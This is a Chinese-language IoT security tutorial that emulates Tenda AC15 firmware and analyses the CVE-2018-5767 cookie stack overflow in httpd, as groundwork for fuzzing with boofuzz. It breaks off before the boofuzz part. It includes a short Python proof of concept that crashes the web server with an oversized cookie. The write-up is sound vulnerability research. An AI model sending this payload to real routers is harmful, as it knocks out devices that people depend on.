物联网安全技术丨BooFuzz的简单使用,以CVE-2018-5767为例

IoT 2年前 (2022) admin
680 0 0
物联网安全技术丨BooFuzz的简单使用,以CVE-2018-5767为例



本篇文章的导向在于分析Tenda AC15固件中所存在的缓冲区溢出,并尝试结合boofuzz对漏洞点进行简单的探索,对boofuzz原理感兴趣的现在可以关闭这个网页了。


物联网安全技术丨BooFuzz的简单使用,以CVE-2018-5767为例

 一、环境搭建 

物联网安全技术丨BooFuzz的简单使用,以CVE-2018-5767为例

boofuzz项目地址:https://github.com/jtpereyda/boofuzz

这里我选择将boofuzz安装到python的虚拟环境中:

$ sudo apt install python3-dev libffi-dev build-essential virtualenvwrapper$ export WORKON_HOME=$HOME/Python-workhome$ source /usr/share/virtualenvwrapper/virtualenvwrapper.sh$ mkvirtualenv --python=$(which python3) boofuzz && pip install boofuzz# 新建终端后需要执行如下两条命令启动虚拟环境,方便起见可以将它们追加到~/.bashrc中1】$ export WORKON_HOME=$HOME/Python-workhome2】$ source /usr/share/virtualenvwrapper/virtualenvwrapper.sh$ workon boofuzz【进入虚拟环境】
物联网安全技术丨BooFuzz的简单使用,以CVE-2018-5767为例

安装的boofuzz版本为0.4.1。然后拉取我修改后的仿真docker环境:docker pull ccr.ccs.tencentyun.com/cyberangel-public/iot-emu:tenda_ac15_cve-2018-5767。

趁着拉取docker的时间,为了避免一些错误,使用源码编译的方式安装binwalk而非apt install:

https://github.com/ReFirmLabs/binwalksudo ./deps.sh      # 在ubuntu下仅需执行该命令即可,详见 https://github.com/ReFirmLabs/binwalk/blob/master/INSTALL.md                    # 检查依赖的安装sudo python3 ./setup.py install


物联网安全技术丨BooFuzz的简单使用,以CVE-2018-5767为例

 二、分析固件(qemu-user) 

物联网安全技术丨BooFuzz的简单使用,以CVE-2018-5767为例

该路由器的固件可以在文章开头的附件中下载。

使用binwalk对固件进行解压binwalk -e US_AC15V1.0BR_V15.03.1.16_multi_TD01.bin:

物联网安全技术丨BooFuzz的简单使用,以CVE-2018-5767为例

squashfs-root文件夹是该路由器的文件系统,使用qemu-arm-static尝试启动bin下的httpd:

$ cp $(which qemu-arm-static) ./$ sudo chroot . ./qemu-arm-static ./bin/httpd【等价于: $ sudo chroot . ./qemu-arm-static ./bin/sh && ./bin/httpd 】$ sudo chroot . ./qemu-arm-static -g 1234 ./bin/httpd    # gdb调试

可以发现启动httpd时卡住了:

物联网安全技术丨BooFuzz的简单使用,以CVE-2018-5767为例

拖入到IDA对Welcome to …交叉引用,来到main:

物联网安全技术丨BooFuzz的简单使用,以CVE-2018-5767为例

笔者注:根据该文件有“2.1.8”和websSecurityHandler等字样可以确定是goahead,根据该版本的源码的函数逻辑与框架能部分恢复一些符号:https://github.com/embedthis/goahead/releases/tag/v2.1.8

物联网安全技术丨BooFuzz的简单使用,以CVE-2018-5767为例

路由器厂商会在goahead原版基础上修改和添加一些功能,所以只能“部分恢复”一些符号与结构体,但是这也足够帮助我们分析了。

有两处地方值得注意:

物联网安全技术丨BooFuzz的简单使用,以CVE-2018-5767为例
  • check_network是导致死循环的原因。

  • 需要让ConnectCfm的返回值为true,进入if语句内部。

别想太复杂,我们先不去深究两个函数的具体实现,只需要对这两个分支跳转进行patch即可。

第一处:

物联网安全技术丨BooFuzz的简单使用,以CVE-2018-5767为例

第二处:

物联网安全技术丨BooFuzz的简单使用,以CVE-2018-5767为例

patch后回到伪代码:

物联网安全技术丨BooFuzz的简单使用,以CVE-2018-5767为例

将修改后的可执行文件保存导出:

物联网安全技术丨BooFuzz的简单使用,以CVE-2018-5767为例

再次尝试运行sudo chroot . ./qemu-arm-static ./bin/httpd_patch:

物联网安全技术丨BooFuzz的简单使用,以CVE-2018-5767为例

有一些报错,无伤大雅,但最重要的是最后的ip地址不正常:

物联网安全技术丨BooFuzz的简单使用,以CVE-2018-5767为例

回到IDA中,找到”httpd listen”的调用位置:

物联网安全技术丨BooFuzz的简单使用,以CVE-2018-5767为例

qemu-gdb确定函数调用链:

$ sudo chroot . ./qemu-arm-static -g 1234 ./bin/httpd_patch# 另起终端$ s  $ set architecture arm  $ b *0x1A36C  $ target remote :1234
物联网安全技术丨BooFuzz的简单使用,以CVE-2018-5767为例

可以确定的是sub_28338调用了sub_1A36C:

.text:000283DC E2 C7 FF EB                   BL              sub_1A36C      # call sub_1A36C.text:000283DC.text:000283E0 00 20 A0 E1                   MOV             R2, R0          # return_addr
物联网安全技术丨BooFuzz的简单使用,以CVE-2018-5767为例

直接在IDA对sub_28338交叉引用,根据字符串可知此流程由tcp_timestamps函数调用:

物联网安全技术丨BooFuzz的简单使用,以CVE-2018-5767为例
物联网安全技术丨BooFuzz的简单使用,以CVE-2018-5767为例

结合IDA分析并重复上面步骤,得到函数完整调用链:main -> initWebs -> tcp_timestamps -> sub_28338 -> sub_1A36C -> printf(Error Msg)。下面对printf的ip参数跟踪:

物联网安全技术丨BooFuzz的简单使用,以CVE-2018-5767为例

顺着调用链来到:

物联网安全技术丨BooFuzz的简单使用,以CVE-2018-5767为例

ip来自全局变量g_lan_ip,最后追踪到:

物联网安全技术丨BooFuzz的简单使用,以CVE-2018-5767为例

getIfIp函数的返回为-1,正常流程应该进入与外层的if对应的else分支。所以之前的初始化步骤全部都有问题,因为strcmpRet关联着很多函数:

物联网安全技术丨BooFuzz的简单使用,以CVE-2018-5767为例

关联最多的为GetValue函数,它被定义在动态链接库libCfm.so中:

物联网安全技术丨BooFuzz的简单使用,以CVE-2018-5767为例

这个函数与socket有关,如果要分析的话代码量太大,所以我们先从main函数开头的几个函数下手。注意到与网络有关的函数check_network,它的本体存在于libcommon.so中:

物联网安全技术丨BooFuzz的简单使用,以CVE-2018-5767为例

其中,a1是传入的buffer2(memset(buffer2, 0, sizeof(buffer2));),逐步进入函数j_getLanIfName() -> getLanIfName() -> get_eth_name(0)查看:

物联网安全技术丨BooFuzz的简单使用,以CVE-2018-5767为例

在libChipApi.so可以找到该函数的定义:

物联网安全技术丨BooFuzz的简单使用,以CVE-2018-5767为例

所以需要自己我们新建一个虚拟网桥(Virtual Bridge)br0:

$ sudo brctl addbr br0$ sudo ifconfig br0 192.168.2.3/24

尝试重新启动:

物联网安全技术丨BooFuzz的简单使用,以CVE-2018-5767为例

再次进行访问:

物联网安全技术丨BooFuzz的简单使用,以CVE-2018-5767为例

能访问了但不能完全访问,根据./etc_ro/rcS:

物联网安全技术丨BooFuzz的简单使用,以CVE-2018-5767为例

我们也这样操作一下cp -rf ./webroot_ro/* ./webroot/,然后刷新一下就正常了:

物联网安全技术丨BooFuzz的简单使用,以CVE-2018-5767为例

httpd的文件保护如下:

物联网安全技术丨BooFuzz的简单使用,以CVE-2018-5767为例

CVE-2018-5767的漏洞点在httpd的厂商自己实现的R7WebsSecurityHandler函数中,如下图所示:

物联网安全技术丨BooFuzz的简单使用,以CVE-2018-5767为例

经IDA交叉引用发现固件没有调用goahead自带的websSecurityHandler而是调用了R7WebsSecurityHandler,但不必担心,后者是基于前者实现的。

IDA识别a1出来的是int型,但实际上是webs_t类型的结构体:

物联网安全技术丨BooFuzz的简单使用,以CVE-2018-5767为例
// webs.h1typedef struct websRec {  ringq_t      header;        /* Header dynamic string */  time_t      since;        /* Parsed if-modified-since time */  sym_fd_t    cgiVars;      /* CGI standard variables */  sym_fd_t    cgiQuery;      /* CGI decoded query string */  time_t      timestamp;      /* Last transaction with browser */  int        timeout;      /* Timeout handle */  char_t      ipaddr[32];      /* Connecting ipaddress */  char_t      type[64];      /* Mime type */  char_t      *dir;        /* Directory containing the page */  char_t      *path;        /* Path name without query */  char_t      *url;        /* Full request url */  char_t      *host;        /* Requested host */  char_t      *lpath;        /* Cache local path name */  char_t      *query;        /* Request query */  char_t      *decodedQuery;    /* Decoded request query */  char_t      *authType;      /* Authorization type (Basic/DAA) */  char_t      *password;      /* Authorization password */  char_t      *userName;      /* Authorization username */  char_t      *cookie;      /* Cookie string */  char_t      *userAgent;      /* User agent (browser) */  char_t      *protocol;      /* Protocol (normally HTTP) */  char_t      *protoVersion;    /* Protocol version */  int        sid;        /* Socket id (handler) */  int        listenSid;      /* Listen Socket id */  int        port;        /* Request port number */  int        state;        /* Current state */  int        flags;        /* Current flags -- see above */  int        code;        /* Request result code */  int        clen;        /* Content length */  int        wid;        /* Index into webs */  char_t      *cgiStdin;      /* filename for CGI stdin */  int        docfd;        /* Document file descriptor */  int        numbytes;      /* Bytes to transfer to browser */  int        written;      /* Bytes actually transferred */  void      (*writeSocket)(struct websRec *wp);#ifdef DIGEST_ACCESS_SUPPORT    char_t      *realm;    /* usually the same as "host" from websRec */    char_t      *nonce;    /* opaque-to-client string sent by server */    char_t      *digest;  /* digest form of user password */    char_t      *uri;    /* URI found in DAA header */    char_t      *opaque;  /* opaque value passed from server */    char_t      *nc;    /* nonce count */    char_t      *cnonce;  /* check nonce */    char_t      *qop;    /* quality operator */#endif#ifdef WEBS_SSL_SUPPORT  websSSL_t    *wsp;    /* SSL data structure */#endif} websRec;-------------------------------------------------------------------------------------------------------------2】:typedef websRec  *webs_t;

在IDA中导入结构体,修复之后的效果如下:

物联网安全技术丨BooFuzz的简单使用,以CVE-2018-5767为例

漏洞存在的原因很明显,存在栈溢出:

  1. 程序没有限制用户的cookie长度。

  2. sscanf在解析参数的时候没有限制解析的长度。

// gcc -g test.c -o test# include <stdio.h># include <string.h>int main(){    char* str = "username=cyberangel;passwd=IoT;whoami=root";    char result[100] = "";    char* p = "";    p = strstr(str, "passwd=");    printf("strstr() result is %sn", p);  sscanf(p, "%*[^=]=%[^;];*", result);  printf("Regular Expression is %sn", result);  return 0;}
物联网安全技术丨BooFuzz的简单使用,以CVE-2018-5767为例

解析后的结果为cookie的passwd。为了让fuzzer能fuzz到崩溃点,poc要满足以下条件:

物联网安全技术丨BooFuzz的简单使用,以CVE-2018-5767为例

很简单,只需要让我们的请求中包含”/goform/xxx”就可以靠近漏洞点(注意strncmp的返回值,相同为假)。那我们就拿/goform/cyberangel来测试吧,在docker中验证是否能够栈溢出:

import requestsimport socketimport socksimport httpsocks.set_default_proxy(socks.SOCKS5, "127.0.0.1", 2345)    # socket代理socket.socket = socks.socksocket
def main():    url = "http://192.168.2.2/goform/cyberangel"    try:        cookie = {"Cookie":"password=" + "A"*501}        res = requests.get(url=url,cookies=cookie)        print(res.text)    except:        print("overflow!")
if __name__ == '__main__':      main()
物联网安全技术丨BooFuzz的简单使用,以CVE-2018-5767为例

由于httpd崩溃(DOS攻击)导致触发python异常:

物联网安全技术丨BooFuzz的简单使用,以CVE-2018-5767为例

curl –location:解析重定向之后的网页。

由于文章字数受限

可点击下方【阅读原文】阅读全篇。



物联网安全技术丨BooFuzz的简单使用,以CVE-2018-5767为例
物联网安全技术丨BooFuzz的简单使用,以CVE-2018-5767为例

分享

物联网安全技术丨BooFuzz的简单使用,以CVE-2018-5767为例

收藏

物联网安全技术丨BooFuzz的简单使用,以CVE-2018-5767为例

点赞

物联网安全技术丨BooFuzz的简单使用,以CVE-2018-5767为例

在看

原文始发于微信公众号(IOTsec Zone):物联网安全技术丨BooFuzz的简单使用,以CVE-2018-5767为例

版权声明:admin 发表于 2022年7月28日 下午3:01。
转载请注明:物联网安全技术丨BooFuzz的简单使用,以CVE-2018-5767为例 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...